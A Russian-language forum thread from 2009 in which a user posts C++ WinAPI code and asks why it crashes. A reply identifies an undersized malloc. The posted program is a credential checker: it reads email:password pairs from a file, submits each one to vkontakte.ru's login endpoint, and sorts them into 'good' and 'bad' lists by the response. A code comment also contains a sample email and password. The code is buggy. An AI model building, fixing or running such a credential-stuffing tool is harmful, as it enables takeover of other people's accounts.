Проблема при работе с потоками

Тема в разделе "WASM.WIN32", создана пользователем xaxa89, 10 авг 2009.

  1. xaxa89

    xaxa89 New Member

    Публикаций:
    0
    Регистрация:
    19 дек 2008
    Сообщения:
    6
    Код (Text):
    1. // checker.cpp : Defines the entry point for the console application.
    2. //
    3.  
    4. #include "stdafx.h"
    5. #include "checker.h"
    6. #include "process.h"
    7. #include "wininet.h"
    8. #include "iostream"
    9. #include "string.h"
    10. #include "stdio.h"
    11.  
    12. #ifdef _DEBUG
    13. #define new DEBUG_NEW
    14. #endif
    15. #define _MT
    16.  
    17.  
    18. // The one and only application object
    19.  
    20. CWinApp theApp;
    21.  
    22. using namespace std;
    23. const int th_num=1;
    24. char *buffer;
    25. volatile long CurrentLineNumber;
    26. volatile long TotalLineNumber;
    27. HANDLE gh,bh;
    28. DWORD size;
    29. DWORD WINAPI Thread(void* pParams);
    30. int main(int argc,char* argv[])
    31. {
    32.     int nRetCode = 0;
    33.  
    34.     // initialize MFC and print and error on failure
    35.     if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
    36.     {
    37.         // TODO: change error code to suit your needs
    38.         _tprintf(_T("Fatal Error: MFC initialization failed\n"));
    39.         nRetCode = 1;
    40.     }
    41.     else
    42.     {   CurrentLineNumber=0;
    43.         TotalLineNumber=0;
    44.         DWORD bytesread;
    45.         BOOL bRead=TRUE;
    46.     //Разборки с файлами!Открыли и прочитали input.txt
    47.         HANDLE fh=::CreateFile(TEXT("input.txt"),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL);
    48.         if (fh==INVALID_HANDLE_VALUE) {
    49.             cout<<"\ninput.txt dosn`t exist\n";
    50.             ::exit(EXIT_FAILURE);
    51.         } else {
    52.             printf("\nReading input.txt...");
    53.             size=GetFileSize(fh,NULL);
    54.             buffer=(char *)malloc(size-13);
    55.             memset(buffer,0,size);
    56.             bRead=::ReadFile(fh,buffer,size,(LPDWORD)&bytesread,NULL);
    57.             ::CloseHandle(fh);
    58.             char *bp=buffer;
    59.             while(*bp!='\0')
    60.             {
    61.                 if(*bp=='\n')
    62.                     TotalLineNumber++;
    63.                 bp++;
    64.             }
    65.             TotalLineNumber++;
    66.         }
    67.     //Cоздадим для записи bad.txt и good.txt
    68.         printf("\nOpening good.txt and bad.txt");
    69.         gh=::CreateFile(TEXT("good.txt"),GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,NULL,NULL);
    70.         if (gh==INVALID_HANDLE_VALUE)
    71.         {
    72.             printf("\nError creating file good.txt");
    73.             ::exit(EXIT_FAILURE);
    74.         } else
    75.         {
    76.             ::SetFilePointer(gh,NULL,NULL,FILE_END);
    77.         }
    78.         bh=::CreateFile(TEXT("bad.txt"),GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,NULL,NULL);
    79.         if (bh==INVALID_HANDLE_VALUE)
    80.         {
    81.             printf("\nError creating file bad.txt");
    82.             ::exit(EXIT_FAILURE);
    83.         }
    84.         else
    85.         {
    86.             ::SetFilePointer(bh,NULL,NULL,FILE_END);
    87.             }
    88.         printf("\n%d:%d",CurrentLineNumber,TotalLineNumber);
    89.             //создаем потоки
    90.             DWORD idThread;//[th_num];
    91.             int iThread;
    92.             printf("%d",th_num);
    93.             HANDLE hTr[th_num];
    94.             /*for(iThread=0;iThread<th_num;iThread++)
    95.             {
    96.                 hTr[iThread]=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
    97.                     printf("Thread created");
    98.             }*/
    99.             hTr[0]=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
    100.             printf("\naaa\n");
    101.             [b]//где то вот тут оно выдает ошибку[/b]
    102.             WaitForMultipleObjects(th_num,hTr,TRUE,INFINITE);
    103.             //::CloseHandle(hTr[0]);
    104.             /*for(iThread=0;iThread<=th_num-1;iThread++)
    105.             {
    106.                 printf("\n***closeT***\n");
    107.                 ::WaitForSingleObject(hTr[iThread],INFINITE);
    108.                 ::CloseHandle(hTr[iThread]);
    109.             }*/
    110.         //::Sleep(7000);
    111.         //printf("\n%d:%d",CurrentLineNumber,TotalLineNumber);
    112.         //::CloseHandle(gh);
    113.         //::CloseHandle(bh);
    114.     }
    115.     return nRetCode;
    116. }
    117. DWORD WINAPI Thread(void* pParams){
    118. unsigned int s=(unsigned int)size;
    119.         unsigned int i=0;
    120.         int N=1;
    121.         CRITICAL_SECTION cs;
    122.         ::InitializeCriticalSection(&cs);
    123.         while(CurrentLineNumber<TotalLineNumber){
    124.         int n=0,n1=0;//номер строки
    125.         int point;//двоиточия
    126.         char email[150]="";
    127.         char pass[150]="";
    128.         char auth_str[170]="login.php?op=a_login_attempt&email=";
    129.         char auth2[100]="&pass=";
    130.         char email_pass[100]="bad\n";;
    131.         wchar_t str[170];
    132.         DWORD byteswrite;  
    133.     //вычислим начальное смщение
    134.         int b=0;//начальное смщение строки
    135.         int f;//конец строки
    136.         printf("parse");
    137.             for(i=0;i<s;i++){
    138.                 //оперделили конец строки N
    139.                 if((buffer[i]=='\n') || (i==s)){
    140.                     n=n+1;
    141.                     if(n==N) f=i+1;
    142.                 }
    143.                 //Определим начало строки
    144.                 if(buffer[i]=='\n'){
    145.                     n1=n1+1;
    146.                     if(n==N-1) b=i+1;
    147.                 }
    148.                 //Оперделим позицию двоеточия
    149.                 if(n==N-1)
    150.                     if(buffer[i]==':') point=i;
    151.             }
    152.             printf("!!postions!!");
    153.             ::_sprintf_p(email,point-b+1,"%s",buffer+b);
    154.             ::_sprintf_p(pass,f-point,"%s",buffer+point+1);
    155.             ::_sprintf_p(email_pass,f-b,"%s",buffer+b);
    156.             printf("emai:pass");
    157.             ::strcat_s(pass,"&expire=0");
    158.             ::strcat_s(auth2,pass);
    159.             ::strcat_s(email,auth2);
    160.             ::strcat_s(auth_str,email);
    161.             for(i=0;i<strlen(auth_str);i++)
    162.                 str[i]=::btowc(auth_str[i]);
    163.         //Отправка запроса
    164.             printf("parse_end");
    165.         char page[100]="vot";
    166.     HINTERNET ihandler=::InternetOpen(TEXT("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13"),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    167.         if (ihandler!=NULL){
    168.             HINTERNET iconnect=::InternetConnect(ihandler,TEXT("vkontakte.ru"),INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,NULL);
    169.         if (iconnect!=NULL){
    170.                 HINTERNET irequest=::HttpOpenRequest(iconnect,L"GET",LPCWSTR(str),NULL,NULL,NULL,INTERNET_FLAG_KEEP_CONNECTION,NULL);//(iconnect,TEXT("GET"),TEXT("login.php"),NULL,NULL,(LPCWSTR *)"text/*",INTERNET_FLAG_KEEP_CONNECTION,NULL);//?op=a_login_attempt&email=xa.xa14@gmail.com&pass=iamxakep14!&expire=0
    171.                 if (irequest!=NULL){
    172.                     if(HttpSendRequest(irequest,L"",0,L"",0))
    173.                     {
    174.                         DWORD BytesRead;
    175.                         if(::InternetReadFile(irequest,page,sizeof(page)-1,&BytesRead))
    176.                         {
    177.                             //проверка результат запроса
    178.                             strcat_s(email_pass,"\n");
    179.                             if(strstr(page,"good")!=NULL){;
    180.                                 ::EnterCriticalSection(&cs);
    181.                                 if(::WriteFile(gh,email_pass,(DWORD)strlen(email_pass)-1,&byteswrite,NULL)==false)
    182.                                     //::ExitThread(1);
    183.                                 ::LeaveCriticalSection(&cs);
    184.                             }
    185.                             else
    186.                             {
    187.                                 ::EnterCriticalSection(&cs);
    188.                                 if(::WriteFile(bh,email_pass,(DWORD)strlen(email_pass)-1,&byteswrite,NULL)==false)
    189.                                     //::ExitThread(1);
    190.                                 ::LeaveCriticalSection(&cs);
    191.                             }
    192.                         }
    193.                     }
    194.                 }::InternetCloseHandle(irequest);
    195.             }::InternetCloseHandle(iconnect);
    196.         }::InternetCloseHandle(ihandler);
    197.         ::EnterCriticalSection(&cs);
    198.         CurrentLineNumber=CurrentLineNumber+1;
    199.         N=CurrentLineNumber;
    200.         ::LeaveCriticalSection(&cs);
    201.         }
    202.         ::DeleteCriticalSection(&cs);
    203.         return 0;
    Слушаю любую критику и предложения по коду и т.д...
    Только начал разбираться с винапи...
    Запускаю ошибка!
    в отладчике все окей!
    юзаю визуал студио 2005

    пишет память не может бить written!
     
  2. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    xaxa89
    > size=GetFileSize(fh,NULL);
    узнал размер файла

    > buffer=(char *)malloc(size-13);
    зарезервировал на 13 байт меньше

    > memset(buffer,0,size);
    пытаешься забить нулями на 13 байт больше, чем зарезервировал

    > bRead=::ReadFile(fh,buffer,size,(LPDWORD)&bytesread,NULL);
    будешь пытаться читать на 13 байт больше, чем зарезервировал

    дальше не смотрел